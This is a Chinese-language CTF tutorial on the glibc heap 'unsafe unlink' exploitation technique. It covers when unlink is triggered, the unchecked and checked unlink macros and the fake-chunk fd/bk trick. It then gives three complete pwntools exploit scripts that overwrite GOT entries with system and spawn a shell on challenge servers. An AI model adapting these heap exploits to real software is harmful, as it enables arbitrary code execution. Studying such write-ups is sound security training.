unlink 的目的是把一个块从链表中摘除,也就是“解链”。
unlink 触发的典型情况是:当堆中的 chunk 被释放并合并(consolidate)时,glibc 为了维护双向链表结构,需要从 bin 中移除一个 chunk,而这时就会调用 unlink 宏。
📌 2. 哪些情况下会触发 unlink
✅ Case 1:合并时(consolidation)
如果 p 后面的 chunk 也是 free 的(即没有 PREV_INUSE 位),就会尝试合并前后的 chunk。
此时,后一个 chunk 已经被加入 bin,为了合并,要先从 bin 中移除它 ——> 触发 unlink
✅ Case 2:malloc_consolidate()(fastbin consolidation)
malloc() 时,如果 fastbin 满了,或触发某种条件(如 top chunk 太小),glibc 会调用:
这个函数会把 fastbin 的多个 chunk 合并入 unsorted bin,也可能对邻接 chunk 做合并 ——> 也会触发 unlink
✅ Case 3:释放 large chunk 之后再合并
如果释放一个 large chunk(非 fastbin),它会被放入 large bin,之后又分配/释放了相邻 chunk,可能导致再次合并 ——> 触发 unlink
unlink的整体利用思路为
①、利用溢出伪造fake_chunk
②、free掉引线堆块(也就是被溢出修改prev_size和size的chunk),从而触发unlink(注意chunk别跟top chunk合并了),同时引线堆块的大小一定要大于等于0x80,避免被free掉给放进了fastbin中。
因为 fastbin(以及现代的 tcache)走的是“单链表/快速入队”路径——释放时不会执行传统的双向链表 unlink 操作(也就没有 FD->bk = BK / BK->fd = FD 那两次写)。要触发 old-style unlink,chunk 必须进入 unsorted/small bin(双链表)路径,才会触发那两次写。因此通过把伪造 chunk 的 size 设置成 ≥ 快速 bin 的最大尺寸(通常 0x80 在 64 位 glibc 上),可以避免被放入 fastbin,从而保证 free 会走到会进行 unlink 的分支。
③、最后效果为fake_chunk的地址改为&P-0x18
④、通过edit功能修改bss段存放的chunk信息,进行泄露函数真实地址以及篡改函数的got表,从而获取shell
P 是要从链表中摘下的 chunk
老libc无检验版本
先读出 FD = P->fd 和 BK = P->bk,然后修改 FD->bk 与 BK->fd,使前后两块直接互连,从而把 P 跳过。若攻击者能控制 P->fd/P->bk,那两次写操作就变成了 任意地址写(写入 BK、FD 的值到任意地址),这正是 unsafe unlink 利用点。(赋值)
1 2 3 4 5 6 7
| /* 不安全版(概念上等同于旧 glibc 的宏实现) */ #define UNSAFE_UNLINK(P, BK, FD) do { \ FD = (P)->fd; /* 读取 P->fd(指向后继) */ \ BK = (P)->bk; /* 读取 P->bk(指向前驱) */ \ FD->bk = BK; /* (P->fd)->bk = P->bk */ \ BK->fd = FD; /* (P->bk)->fd = P->fd */ \ } while (0)
|
直接进行赋值操作
1 2
| *(fd+0x18)=bk *(bk+0x10)=fd
|
eg:
1 2
| FD = second_fd = free_GOT - 0x18 BK = second_bk = shellcode_address
|
使得调用free的时候可以直接用shellcode
加校验
在执行写之前先验证链表一致性:FD->bk 必须指回 P,且 BK->fd 也必须指回 P。
若攻击者伪造 fd/bk,通常无法同时满足这两项,因此检查失败会 abort(),阻止利用。这是 unsafe unlink 被广泛缓解的关键改动之一(不过攻击者可用更复杂的技术绕过检查,或在更旧的 libc 上利用)。
1 2 3 4 5 6 7 8 9
| # 带一致性检查的安全版本(逻辑与 glibc 后来加入的检查一致) #define SAFE_UNLINK(P, BK, FD) do { FD = (P)->fd; BK = (P)->bk; if (FD->bk != (P) || BK->fd != (P)) malloc_printerr("corrupted double-linked list"); FD->bk = BK; BK->fd = FD; } while (0)
|
此时就不能直接进行赋值操作
但是看可以进行任意地址写入
利用
存在uaf漏洞或者(堆溢出)可以改写free时的smallbin或unsorted bin 的fd和bk
效果:让chunk[0]指向chunk[-3]
eg:
1 2 3 4 5 6 7
| fd=tar-0x18 bk=tar-0x10 #符合校验 *(fd+0x18)=*(bk+0x10)=tar #赋值 *(fd+0x18)=tar=*(bk-0x10) *(bk+0x10)=tar=*(fd-0x18)
|
例题1
hitcontraining_bamboobox


add

edit
自己控制输入长度,存在堆溢出

free
全部置零,没有uaf漏洞

show
可直接输出堆块内容

思路
1.用libc3思路,创建3个堆块,0用来伪造堆块,1触发unlink, 2防止与top_chunk合并,(注意,堆块fake_heap与1合并的时候不要今入fast_bin,他是单链表管理)。通过修改0来伪造一个假的堆块然后free1触发unlink让1与2合并,并且对假堆块上的fd和bk进行赋值修改
1 2 3 4 5 6 7 8 9
| tar=0x6020C8 add(0x30,b"fake_heap") add(0x80,b"111111111") add(0x80,b"333333333")
pay=p64(0)+p64(0x31)+p64(tar-0x18)+p64(tar-0x10)+p64(0)*2 pay+=p64(0x30)+p64(0x90) edit(0,len(pay),pay) delete(1)
|

修改指针前:

此时已经进行了赋值修改操作了,tar最后被改为了tar-0x18位置,也就是说heap_user[0]此时指向heap_user[-3]的位置,所以此时要加三个填充去垫高地址再写入atio,那么此时就被赋值为了atio_got,如图该处的内容此时为got表的物理地址
1 2 3 4 5 6
| atoi_got=elf.got['atoi'] payload = p64(0) *2+p64(0x40)+ p64(atoi_got) edit(0,len(payload),payload) show() atoi=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00") ) log.success("atoi:"+hex(atoi))
|

最后把它的got表地址赋值为system函数地址,然后传入参数
1 2 3 4
| libc_base=atoi-libc.sym['atoi'] system=libc_base+libc.sym['system'] edit(0,8,p64(system)) sla('Your choice:','/bin/sh\x00')
|
edit(0)从堆块0的地址中取出got表把对应地址改为system函数的地址

二者都是修改指针位置
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| from pwn import * import sys from LibcSearcher import *
file_path = "./12" remote_host = "node5.buuoj.cn" remote_port = 26935 context(arch='amd64', os='linux', log_level='debug')
context.terminal = [ "cmd.exe", "/c", "start", "/max", "", "wt.exe", "--profile", "WSL GDB (Black)", "--", "wsl", "bash", "-lc" ]
elf = ELF(file_path) libc = elf.libc if 're' in sys.argv: p = remote(remote_host, remote_port) else: p = process(file_path) #gdb.attach(p,"b*")
def debug(): gdb.attach(p) pause() def sla(a, b): p.sendlineafter(a, b) def ru(a): p.recvuntil(a) def sa(a, b): p.sendafter(a, b)
def add(size,content): p.sendlineafter('Your choice:','2') p.sendlineafter('name:',str(size)) p.sendafter('item:',content)
def show(): p.sendlineafter('Your choice:','1')
def edit(idx,size,content): p.sendlineafter('Your choice:','3') p.sendafter('item:',str(idx)) p.sendlineafter('name:',str(size)) p.sendafter('item:',content)
def delete(idx): p.sendlineafter('Your choice:','4') p.sendafter('item:',str(idx))
tar=0x6020C8 add(0x30,b"fake_heap") add(0x80,b"111111111") add(0x80,b"333333333")
pay=p64(0)+p64(0x31)+p64(tar-0x18)+p64(tar-0x10)+p64(0)*2 pay+=p64(0x30)+p64(0x90) edit(0,len(pay),pay) delete(1)
atoi_got=elf.got['atoi'] payload = p64(0) *2+p64(0x40)+ p64(atoi_got) edit(0,len(payload),payload) show() atoi=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00") ) log.success("atoi:"+hex(atoi))
libc_base=atoi-libc.sym['atoi'] system=libc_base+libc.sym['system'] edit(0,8,p64(system)) sla('Your choice:','/bin/sh\x00') p.interactive()
|
例题2
[SUCTF 2018 招新赛]unlink
思路
先伪造一个栈,然后free触发unlink来修改指针。
之后改chunk0的内容为b”/bin/sh\x00”+p64(0)*2+p64(0x6020a8)+p64(free_got),字符串为system函数做准备,两个0是吧位置填高,p64(0x6020a8)是bin/sh所在位置,配合system使用,然后把chunk1的指针改为free的got表地址。

show(1)计算libc基础地址,最后把free的got表地址改为system,然后delet调用就执行了我们构造的后门函数

EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| from pwn import * import sys from LibcSearcher import *
file_path = "./service" remote_host = "1.95.36.136" remote_port = 2110 context(arch='amd64', os='linux', log_level='debug')
context.terminal = [ "cmd.exe", "/c", "start", "/max", "", "wt.exe", "--profile", "WSL GDB (Black)", "--", "wsl", "bash", "-lc" ]
elf = ELF(file_path) libc = elf.libc if 're' in sys.argv: p = remote(remote_host, remote_port) else: p = process(file_path) #gdb.attach(p,"b*")
def dbg(): gdb.attach(p) pause() def sla(a, b): p.sendlineafter(a, b) def ru(a): p.recvuntil(a) def sa(a, b): p.sendafter(a, b)
def add(size): p.recvuntil('chooice :\n') p.sendline('1') p.recvuntil('size :') p.sendline(str(size))
def delete(index): p.recvuntil('chooice :\n') p.sendline('2') p.recvuntil('delete\n') p.sendline(str(index))
def show(index): p.recvuntil('chooice :\n') p.sendline('3') p.recvuntil('show\n') p.sendline(str(index))
def edit(index, content): p.recvuntil('chooice :\n') p.sendline('4') p.recvuntil('modify :\n') p.sendline(str(index)) p.recvuntil('input the content') p.send(content)
add(0x30) add(0x80) add(0x20)
tar=0x6020C0 pay=p64(0)+p64(0x30)+p64(tar-0x18)+p64(tar-0x10)+p64(0)*2 pay+=p64(0x30)+p64(0x90) edit(0,pay) delete(1)
free_got=elf.got['free'] pay=b"/bin/sh\x00"+p64(0)*2+p64(0x6020a8)+p64(free_got) edit(0,pay) show(1)
free=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print(hex(free))
libc_base=free-libc.sym['free'] system_addr=libc_base+libc.sym['system'] binsh_addr=libc_base+next(libc.search(b'/bin/sh'))
edit(1,p64(system_addr)) delete(0)
p.interactive()
|
polar例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| from pwn import * import sys from LibcSearcher import *
file_path = "./pwn1" remote_host = "1.95.36.136" remote_port = 2066 context(arch='amd64', os='linux', log_level='debug')
context.terminal = [ "cmd.exe", "/c", "start", "/max", "", "wt.exe", "--profile", "WSL GDB (Black)", "--", "wsl", "bash", "-lc" ]
elf = ELF(file_path) libc = elf.libc if 're' in sys.argv: p = remote(remote_host, remote_port) else: p = process(file_path) #gdb.attach(p,"b*")
def dbg(): gdb.attach(p) pause() def sla(a, b): p.sendlineafter(a, b) def ru(a): p.recvuntil(a) def sa(a, b): p.sendafter(a, b)
def add(index, size): sla(b'> ', b'1') sla(b'Index: ', str(index).encode()) sa(b'Size:', str(size).encode()) def edit(index, content): sla(b'> ', b'2') sla(b'Index: ', str(index).encode()) sa(b'Content: ', content) def delete(index): sla(b'> ', b'3') sla(b'Index: ', str(index).encode())
chunk=0x06020C0 add(0,0x30) add(1,0x80) add(2,0x20)
payload=p64(0)+p64(0x31)+p64(chunk-0x18)+p64(chunk-0x10)+p64(0)*2+p64(0x30)+p64(0x90) edit(0,payload) delete(1) free_got=elf.got['free'] puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] pay=b"/bin/sh\x00"+p64(0)*2+p64(puts_got)+p64(free_got)+p64(0x6020a8) edit(0,pay) edit(1,p64(puts_plt)) delete(0) puts=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print("puts:",hex(puts)) libc_base=puts-libc.symbols['puts'] print("libc_base:",hex(libc_base)) system_addr=libc_base+libc.symbols['system'] bin_sh_addr=libc_base+next(libc.search(b'/bin/sh')) print("system_addr:",hex(system_addr)) edit(1,p64(system_addr)) delete(2)
p.interactive()
|